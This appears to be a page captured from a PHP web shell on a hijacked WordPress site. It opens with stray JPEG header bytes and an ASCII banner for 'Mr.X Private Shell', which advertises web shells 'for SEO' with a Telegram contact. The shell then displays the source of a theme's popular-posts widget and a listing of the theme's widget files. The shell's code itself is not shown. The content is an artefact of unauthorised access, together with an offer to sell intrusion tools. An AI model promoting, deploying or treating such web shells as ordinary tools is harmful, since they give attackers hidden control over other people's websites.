����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
// Add Popular Posts Widget
class Pmthemes_Popular_Posts_Widget extends WP_Widget {
var $excerpt_length = 10;
function __construct() {
// Setup Widget
parent::__construct(
'pmthemes_popular_posts', // ID
sprintf( esc_html__( 'PM Popular Posts', 'pmthemes' ) ), // Name
array(
'classname' => 'pmthemes_popular_posts',
'description' => esc_html__( 'For sidebar. Show popular posts with post thumbnails.', 'pmthemes' )
) // Args
);
add_action( 'save_post', array(&$this, 'flush_widget_cache') );
add_action( 'deleted_post', array(&$this, 'flush_widget_cache') );
add_action( 'switch_theme', array(&$this, 'flush_widget_cache') );
}
function widget($args, $instance) {
$cache = wp_cache_get('widget_pmthemes_popular_posts', 'widget');
if ( !is_array($cache) )
$cache = array();
if ( ! isset( $args['widget_id'] ) )
$args['widget_id'] = $this->id;
if ( isset( $cache[ $args['widget_id'] ] ) ) {
echo $cache[ $args['widget_id'] ];
return;
}
ob_start();
extract($args);
$title = apply_filters('widget_title', empty($instance['title']) ? '' : $instance['title'], $instance, $this->id_base);
if ( empty( $instance['number'] ) || ! $number = absint( $instance['number'] ) )
$number = 10;
$thumbs = (int)$instance['thumbnails'];
$excerpt_length = empty( $instance['excerpt_length'] ) ? 0 : $instance['excerpt_length'];
$postmeta = (int)$instance['postmeta'];
// Change Excerpt Length
$this->excerpt_length = $excerpt_length;
add_filter('excerpt_length', array(&$this, 'widget_excerpt_length'));
$r = new WP_Query( apply_filters( 'pmthemes_widget_popular_posts_args', array( 'posts_per_page' => $number, 'orderby' => 'comment_count', 'order' => 'DESC', 'no_found_rows' => true, 'post_status' => 'publish', 'ignore_sticky_posts' => true ) ) );
if ($r->have_posts()) :
?>
<?php echo $before_widget; ?>
<?php if ( $title ) echo $before_title . $title . $after_title; ?>
<div class="widget-popular-posts widget-posts-entries">
<ul>
<?php while ($r->have_posts()) : $r->the_post(); ?>
<?php if ( $thumbs == 1 ) : ?>
<li class="widget-thumb"><a href="<?php the_permalink() ?>" title="<?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>"><?php the_post_thumbnail('widget_post_thumb'); ?></a>
<?php else: ?>
<li>
<?php endif; ?>
<a href="<?php the_permalink() ?>" title="<?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>"><?php if ( get_the_title() ) the_title(); else the_ID(); ?></a>
<?php
if ( $excerpt_length > 0 ) :
the_excerpt();
endif;
if ( $postmeta == 1 ) : ?>
<div class="widget-postmeta">
<span class="widget-date"><?php the_time(get_option('date_format')); ?></span>
<span class="widget-comment"><a href="<?php the_permalink() ?>#comments"><?php comments_number(__('No comments', 'pmthemes'),__('One comment','pmthemes'),__('% comments','pmthemes')); ?></a></span>
</div>
<?php endif; ?>
</li>
<?php endwhile; ?>
</ul>
</div>
<?php echo $after_widget; ?>
<?php
// Reset the global $the_post as this query will have stomped on it
wp_reset_postdata();
endif;
// Remove Excerpt Filter
remove_filter('excerpt_length', array(&$this, 'widget_excerpt_length'));
$cache[$args['widget_id']] = ob_get_flush();
wp_cache_set('widget_pmthemes_popular_posts', $cache, 'widget');
}
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['title'] = isset($new_instance['title']) ? esc_attr($new_instance['title']) : '';
$instance['number'] = (int) $new_instance['number'];
$instance['thumbnails'] = $new_instance['thumbnails'] ? 1 : 0;
$instance['excerpt_length'] = (int) $new_instance['excerpt_length'];
$instance['postmeta'] = $new_instance['postmeta'] ? 1 : 0;
$this->flush_widget_cache();
return $instance;
}
function widget_excerpt_length($length) {
return $this->excerpt_length;
}
function flush_widget_cache() {
wp_cache_delete('widget_pmthemes_popular_posts', 'widget');
}
function form( $instance ) {
$title = isset($instance['title']) ? esc_attr($instance['title']) : '';
$number = isset($instance['number']) ? absint($instance['number']) : 5;
$thumbnails = (isset($instance['thumbnails']) and $instance['thumbnails'] == 1) ? 'checked="checked"' : '';
$excerpt_length = isset($instance['excerpt_length']) ? absint($instance['excerpt_length']) : 10;
$postmeta = (isset($instance['postmeta']) and $instance['postmeta'] == 1) ? 'checked="checked"' : '';
?>
<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'pmthemes'); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></p>
<p><label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('Number of posts to show:', 'pmthemes'); ?></label>
<input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo $number; ?>" size="3" /></p>
<p><input class="checkbox" type="checkbox" <?php echo $thumbnails; ?> id="<?php echo $this->get_field_id('thumbnails'); ?>" name="<?php echo $this->get_field_name('thumbnails'); ?>" />
<label for="<?php echo $this->get_field_id('thumbnails'); ?>"><?php _e('Show Post Thumbnails?', 'pmthemes'); ?></label></p>
<p><label for="<?php echo $this->get_field_id('excerpt_length'); ?>"><?php _e('Excerpt length in number of words:', 'pmthemes'); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id('excerpt_length'); ?>" name="<?php echo $this->get_field_name('excerpt_length'); ?>" type="text" value="<?php echo $excerpt_length; ?>" /></p>
<p><input class="checkbox" type="checkbox" <?php echo $postmeta; ?> id="<?php echo $this->get_field_id('postmeta'); ?>" name="<?php echo $this->get_field_name('postmeta'); ?>" />
<label for="<?php echo $this->get_field_id('postmeta'); ?>"><?php _e('Show Postmeta(Date, Comments)?', 'pmthemes'); ?></label></p>
<?php
}
}
?>| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| popular-posts.php | File | 6.23 KB | 0644 |
|
| posts-boxed.php | File | 8.84 KB | 0644 |
|
| posts-columns.php | File | 11.12 KB | 0644 |
|
| posts-grid.php | File | 10.14 KB | 0644 |
|
| posts-single.php | File | 7.77 KB | 0644 |
|
| recent-comments.php | File | 7.1 KB | 0644 |
|
| recent-posts.php | File | 11.68 KB | 0644 |
|
| social-icons.php | File | 2.2 KB | 0644 |
|
| tabbed-content.php | File | 18.76 KB | 0644 |
|